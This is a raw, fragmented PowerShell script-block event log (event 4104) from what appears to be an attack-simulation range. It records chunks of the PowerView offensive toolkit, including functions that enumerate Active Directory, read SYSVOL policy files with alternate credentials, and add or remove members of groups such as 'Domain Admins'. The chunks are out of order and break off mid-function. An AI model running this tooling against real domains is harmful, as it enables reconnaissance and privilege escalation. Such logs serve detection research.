"\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" Parse the default domain policy .inf for dev.testlab.local .EXAMPLE Get-DomainGPO testing | Get-GptTmpl Parse the GptTmpl.inf policy for the GPO with display name of 'testing'. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-GptTmpl -Credential $Cred -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" Parse the default domain policy .inf for dev.testlab.local using alternate credentials. .OUTPUTS Hashtable Ouputs a hashtable representing the parsed GptTmpl.inf file. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([Hashtable])] [CmdletBinding()] Param ( [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('gpcfilesyspath', 'Path')] [String] $GptTmplPath, [Switch] $OutputObject, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $MappedPaths = @{} } PROCESS { try { if (($GptTmplPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { $SysVolPath = "\\$((New-Object System.Uri($GptTmplPath)).Host)\SYSVOL" if (-not $MappedPaths[$SysVolPath]) { # map IPC$ to this computer if it's not already Add-RemoteConnection -Path $SysVolPath -Credential $Credential $MappedPaths[$SysVolPath] = $True } } $TargetGptTmplPath = $GptTmplPath if (-not $TargetGptTmplPath.EndsWith('.inf')) { $TargetGptTmplPath += '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf' } Write-Verbose "[Get-GptTmpl] Parsing GptTmplPath: $TargetGptTmplPath" if ($PSBoundParameters['OutputObject']) { $Contents = Get-IniContent -Path $TargetGptTmplPath -OutputObject -ErrorAction Stop if ($Contents) { $Contents | Add-Member Noteproperty 'Path' $TargetGptTmplPath $Contents } } else { $Contents = Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop if ($Contents) { $Contents['Path'] = $TargetGptTmplPath $Contents } } } catch { Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_" } } END { # remove the SYSVOL mappings $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ } } } function Get-GroupsXML { <# .SYNOPSIS Helper to parse a groups.xml file path into a custom object. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertTo-SID .DESCRIPTION Parses a groups.xml into a custom object. If -Credential is passed, Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds, the files are parsed, and the connection is destroyed later with Remove-RemoteConnection. .PARAMETER GroupsXMLpath Specifies the groups.xml file path name to parse. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system. .OUTPUTS PowerView.GroupsXML #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.GroupsXML')] [CmdletBinding()] Param ( [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Path')] [String] $GroupsXMLPath, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $MappedPaths = @{} } PROCESS { try { if (($421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666691Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local2341.Automation.PSCredential]::Empty ) BEGIN { $ContextArguments = @{ 'Identity' = $Identity } if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } $GroupContext = Get-PrincipalContext @ContextArguments if ($GroupContext) { try { $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity) } catch { Write-Warning "[Add-DomainGroupMember] Error finding the group identity '$Identity' : $_" } } } PROCESS { if ($Group) { ForEach ($Member in $Members) { if ($Member -match '.+\\.+') { $ContextArguments['Identity'] = $Member $UserContext = Get-PrincipalContext @ContextArguments if ($UserContext) { $UserIdentity = $UserContext.Identity } } else { $UserContext = $GroupContext $UserIdentity = $Member } Write-Verbose "[Add-DomainGroupMember] Adding member '$Member' to group '$Identity'" $Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity) $Group.Members.Add($Member) $Group.Save() } } } } function Remove-DomainGroupMember { <# .SYNOPSIS Removes a domain user (or group) from an existing domain group, assuming appropriate permissions to do so. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-PrincipalContext .DESCRIPTION First binds to the specified domain context using Get-PrincipalContext. The bound domain context is then used to search for the specified -GroupIdentity, which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For each entry in -Members, each member identity is similarly searched for and removed from the group. .PARAMETER Identity A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) specifying the group to remove members from. .PARAMETER Members One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202). .PARAMETER Domain Specifies the domain to use to search for user/group principals, defaults to the current domain. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Remove-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' Removes harmj0y from 'Domain Admins' in the current domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Remove-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred Removes harmj0y from 'Domain Admins' in the current domain using the alternate credentials. .LINK http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True)] [Alias('GroupName', 'GroupIdentity')] [String] $Identity, [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('MemberIdentity', 'Member', 'DistinguishedName')] [String[]] $Members, [ValidateNotNullOrEmpty()] [String] $Domain, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $ContextArguments = @{ 'Identity' = $Identity } if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } $GroupContext = Get-PrincipalContext @ContextArguments if ($GroupContext) { try { $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity) } catch { Write-Warning "[Remove-DomainGroupMember] Error finding the group identity '$Identity' : $_" } } } PROCESS { if ($Group) { ForEach ($Member in $Members) { if ($Member -match '.+\\.+') { $ContextArguments['Identity'] = $Member $UserContext = Get-PrincipalContext @ContextArguments if ($UserContext) { $UserIdentity = $UserContext.Identity } } else { $UserContext = $GroupContext $UserIdentity = $Member } Write-Verbose "[Remove-DomainGroupMember] Removing member '$Member' from group '$Identity'" $Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity) $Group.Members.Remove($Member) $Group.Save() } } } } function Get-DomainFileServer { <# .SYNOPSIS Returns a list of servers likely functioning as file servers. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher .DESCRIPTION Returns a list of likely fileservers by searching for all users in Active Directory with non-null homedirectory, scriptpath, or profilepath fields, and extracting/uniquifying the server names. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainFileServer Returns active file servers for the current domain. .EXAMPLE Get-DomainFileServer -Domain testing.local Returns active file servers for the 'testing.local' domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainFileServer -Credential $Cred .OUTPUTS String One or more strings representing file server names. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([String])] [CmdletBinding()] Param( [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [Alias('DomainName', 'Name')] [String[]] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { function Split-Path { # short internal helper to split UNC server paths Param([String]$Path) if ($Path -and ($Path.split('\\').Count -ge 3)) { $Temp = $Path.split('\\')[2] if ($Temp -and ($Temp -ne '')) { $Temp } } } $SearcherArguments = @{ 'LDAPFilter' = '(&(samAccountType=805306368)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(homedirectory=*)(scriptpath=*)(profilepath=*)))' 'Properties' = 'homedirectory,scriptpath,profilepath' } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } } PROCESS { if ($PSBoundParameters['Domain']) { ForEach ($TargetDomain in $Domain) { $SearcherArguments['Domain'] = $TargetDomain $UserSearcher = Get-DomainSearcher @SearcherArguments # get all results w/o the pipeline and uniquify them (I know it's not pretty) $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique } } else { $UserSearcher = Get-DomainSearcher @SearcherArguments $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique } } } function Get-DomainDFSShare { <# .SYNOPSIS Returns a list of all fault-tolerant distributed file systems for the current (or specified) domains. Author: Ben Campbell (@meatballs__) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher .DESCRIPTION This function searches for all distributed file systems (either version 1, 2, or both depending on -Version X) by searching for domain objects matching (objectClass=fTDfs) or (objectClass=msDFS-Linkv2), respectively The server data is parsed appropriately and returned. .PARAMETER Domain Specifies the domains to use for the query, defaults to the current domain. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainDFSShare Returns all distributed file system shares for the current domain. .EXAMPLE Get-DomainDFSShare -Domain testlab.local Returns all distributed file system shares for the 'testlab.local' domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainDFSShare -Credential $Cred .OUTPUTS System.Management.Automation.PSCustomObject A custom PSObject describing the distributed file systems. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')] [OutputType('System.Management.Automation.PSCustomObject')] [CmdletBinding()] Param( [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [Alias('DomainName', 'Name')] [String[]] $Domain, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [ValidateSet('All', 'V1', '1', 'V2', '2')] [String] $Version = 'All' ) BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } function Parse-Pkt { [CmdletBinding()] Param( [Byte[]] $Pkt ) $bin = $Pkt $blob_version = [bitconverter]::ToUInt32($bin[0..3],0) $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0) $offset = 8 #https://msdn.microsoft.com/en-us/library/cc227147.aspx $object_list = @() for($i=1; $i -le $blob_element_count; $i++){ $blob_name_size_start = $offset $blob_name_size_end = $offset + 1 $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0) $blob_name_start = $blob_name_size_end + 1 $blob_name_end = $blob_name_start + $blob_name_size - 1 $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end]) $blob_data_size_start = $blob_name_end + 1 $blob_data_size_end = $blob_data_size_start + 3 $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0) $blob_data_start = $blob_data_size_end + 1 $blob_data_end = $blob_data_start + $blob_data_size - 1 $blob_data = $bin[$blob_data_start..$blob_data_end] switch -wildcard ($blob_name) { "\siteroot" { } "\domainroot*" { # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first... # DFSRootOrLinkIDBlob $root_or_link_guid_start = 0 $root_or_link_guid_end = 15 $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end] $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str $prefix_size_start = $root_or_link_guid_end + 1 $prefix_size_end = $prefix_size_start + 1 $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0) $prefix_start = $prefix_size_end + 1 $prefix_end = $prefix_start + $prefix_size - 1 $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end]) $short_prefix_size_start = $prefix_end + 1 $short_prefix_size_end = $short_prefix_size_start + 1 $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0) $short_prefix_start = $short_prefix_size_end + 1 $short_prefix_end = $short_prefix_start + $short_prefix_size - 1 $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end]) $type_start = $short_prefix_end + 1 $type_end = $type_start + 3 $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0) $state_start = $type_end + 1 $state_end = $state_start + 3 $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0) $comment_size_start = $state_end + 1 $comment_size_end = $comment_size_start + 1 421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666690Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local2241$GroupSearcher.filter)" try { $Result = $GroupSearcher.FindOne() } catch { Write-Warning "[Get-DomainGroupMember] Error searching for group with identity '$Identity': $_" $Members = @() } $GroupFoundName = '' $GroupFoundDN = '' if ($Result) { $Members = $Result.properties.item('member') if ($Members.count -eq 0) { # ranged searching, thanks @meatballs__ ! $Finished = $False $Bottom = 0 $Top = 0 while (-not $Finished) { $Top = $Bottom + 1499 $MemberRange="member;range=$Bottom-$Top" $Bottom += 1500 $Null = $GroupSearcher.PropertiesToLoad.Clear() $Null = $GroupSearcher.PropertiesToLoad.Add("$MemberRange") $Null = $GroupSearcher.PropertiesToLoad.Add('samaccountname') $Null = $GroupSearcher.PropertiesToLoad.Add('distinguishedname') try { $Result = $GroupSearcher.FindOne() $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*" $Members += $Result.Properties.item($RangedProperty) $GroupFoundName = $Result.properties.item('samaccountname')[0] $GroupFoundDN = $Result.properties.item('distinguishedname')[0] if ($Members.count -eq 0) { $Finished = $True } } catch [System.Management.Automation.MethodInvocationException] { $Finished = $True } } } else { $GroupFoundName = $Result.properties.item('samaccountname')[0] $GroupFoundDN = $Result.properties.item('distinguishedname')[0] $Members += $Result.Properties.item($RangedProperty) } if ($PSBoundParameters['Domain']) { $GroupFoundDomain = $Domain } else { # if a domain isn't passed, try to extract it from the found group distinguished name if ($GroupFoundDN) { $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' } } } } ForEach ($Member in $Members) { if ($Recurse -and $UseMatchingRule) { $Properties = $_.Properties } else { $ObjectSearcherArguments = $SearcherArguments.Clone() $ObjectSearcherArguments['Identity'] = $Member $ObjectSearcherArguments['Raw'] = $True $ObjectSearcherArguments['Properties'] = 'distinguishedname,cn,samaccountname,objectsid,objectclass' $Object = Get-DomainObject @ObjectSearcherArguments $Properties = $Object.Properties } if ($Properties) { $GroupMember = New-Object PSObject $GroupMember | Add-Member Noteproperty 'GroupDomain' $GroupFoundDomain $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName $GroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupFoundDN if ($Properties.objectsid) { $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectsid[0], 0).Value) } else { $MemberSID = $Null } try { $MemberDN = $Properties.distinguishedname[0] if ($MemberDN -match 'ForeignSecurityPrincipals|S-1-5-21') { try { if (-not $MemberSID) { $MemberSID = $Properties.cn[0] } $MemberSimpleName = Convert-ADName -Identity $MemberSID -OutputType 'DomainSimple' @ADNameArguments if ($MemberSimpleName) { $MemberDomain = $MemberSimpleName.Split('@')[1] } else { Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN" $MemberDomain = $Null } } catch { Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN" $MemberDomain = $Null } } else { # extract the FQDN from the Distinguished Name $MemberDomain = $MemberDN.SubString($MemberDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' } } catch { $MemberDN = $Null $MemberDomain = $Null } if ($Properties.samaccountname) { # forest users have the samAccountName set $MemberName = $Properties.samaccountname[0] } else { # external trust users have a SID, so convert it try { $MemberName = ConvertFrom-SID -ObjectSID $Properties.cn[0] @ADNameArguments } catch { # if there's a problem contacting the domain to resolve the SID $MemberName = $Properties.cn[0] } } if ($Properties.objectclass -match 'computer') { $MemberObjectClass = 'computer' } elseif ($Properties.objectclass -match 'group') { $MemberObjectClass = 'group' } elseif ($Properties.objectclass -match 'user') { $MemberObjectClass = 'user' } else { $MemberObjectClass = $Null } $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName $GroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDN $GroupMember | Add-Member Noteproperty 'MemberObjectClass' $MemberObjectClass $GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID $GroupMember.PSObject.TypeNames.Insert(0, 'PowerView.GroupMember') $GroupMember # if we're doing manual recursion if ($PSBoundParameters['Recurse'] -and $MemberDN -and ($MemberObjectClass -match 'group')) { Write-Verbose "[Get-DomainGroupMember] Manually recursing on group: $MemberDN" $SearcherArguments['Identity'] = $MemberDN $Null = $SearcherArguments.Remove('Properties') Get-DomainGroupMember @SearcherArguments } } } $GroupSearcher.dispose() } } } function Get-DomainGroupMemberDeleted { <# .SYNOPSIS Returns information on group members that were removed from the specified group identity. Accomplished by searching the linked attribute replication metadata for the group using Get-DomainObjectLinkedAttributeHistory. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainObjectLinkedAttributeHistory .DESCRIPTION Wraps Get-DomainObjectLinkedAttributeHistory to return the linked attribute replication metadata for the specified group. These are cases where the 'Version' attribute of group member in the replication metadata is even. .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). Wildcards accepted. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainGroupMemberDeleted | Group-Object GroupDN Count Name Group ----- ---- ----- 2 CN=Domain Admins,CN=Us... {@{GroupDN=CN=Domain Admins,CN=Users,DC=test... 3 CN=DomainLocalGroup,CN... {@{GroupDN=CN=DomainLocalGroup,CN=Users,DC=t... .EXAMPLE Get-DomainGroupMemberDeleted "Domain Admins" -Domain testlab.local GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local MemberDN : CN=testuser,CN=Users,DC=testlab,DC=local TimeFirstAdded : 2017-06-13T23:07:43Z TimeDeleted : 2017-06-13T23:26:17Z LastOriginatingChange : 2017-06-13T23:26:17Z TimesAdded : 2 LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca l GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local MemberDN : CN=dfm,CN=Users,DC=testlab,DC=local TimeFirstAdded : 2017-06-13T22:20:02Z TimeDeleted : 2017-06-13T23:26:17Z LastOriginatingChange : 2017-06-13T23:26:17Z TimesAdded : 5 LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca l .OUTPUTS PowerView.DomainGroupMemberDeleted Custom PSObject with translated replication metadata fields. .LINK https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [OutputType('PowerView.DomainGroupMemberDeleted')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{ 'Properties' = 'msds-replvaluemetadata','distinguishedname' 'Raw' = $True 'LDAPFilter' = '(objectCategory=group)' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } } PROCESS { if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } Get-DomainObject @SearcherArguments | ForEach-Object { $ObjectDN = $_.Properties['distinguishedname'][0] ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) { $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue if ($TempObject) { if (($TempObject.pszAttributeName -Match 'member') -and (($TempObject.dwVersion % 2) -eq 0 )) { $Output = New-Object PSObject $Output | Add-Member NoteProperty 'GroupDN' $ObjectDN $Output | Add-Member NoteProperty 'MemberDN' $TempObject.pszObjectDn $Output | Add-Member NoteProperty 'TimeFirstAdded' $TempObject.ftimeCreated $Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange $Output | Add-Member NoteProperty 'TimesAdded' ($TempObject.dwVersion / 2) $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN $Output.PSObject.TypeNames.Insert(0, 'PowerView.DomainGroupMemberDeleted') $Output } } else { Write-Verbose "[Get-DomainGroupMemberDeleted] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'" } } } } } function Add-DomainGroupMember { <# .SYNOPSIS Adds a domain user (or group) to an existing domain group, assuming appropriate permissions to do so. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-PrincipalContext .DESCRIPTION First binds to the specified domain context using Get-PrincipalContext. The bound domain context is then used to search for the specified -GroupIdentity, which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For each entry in -Members, each member identity is similarly searched for and added to the group. .PARAMETER Identity A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) specifying the group to add members to. .PARAMETER Members One or more member identities, i.e. SamAccountName (e.g. Group1), 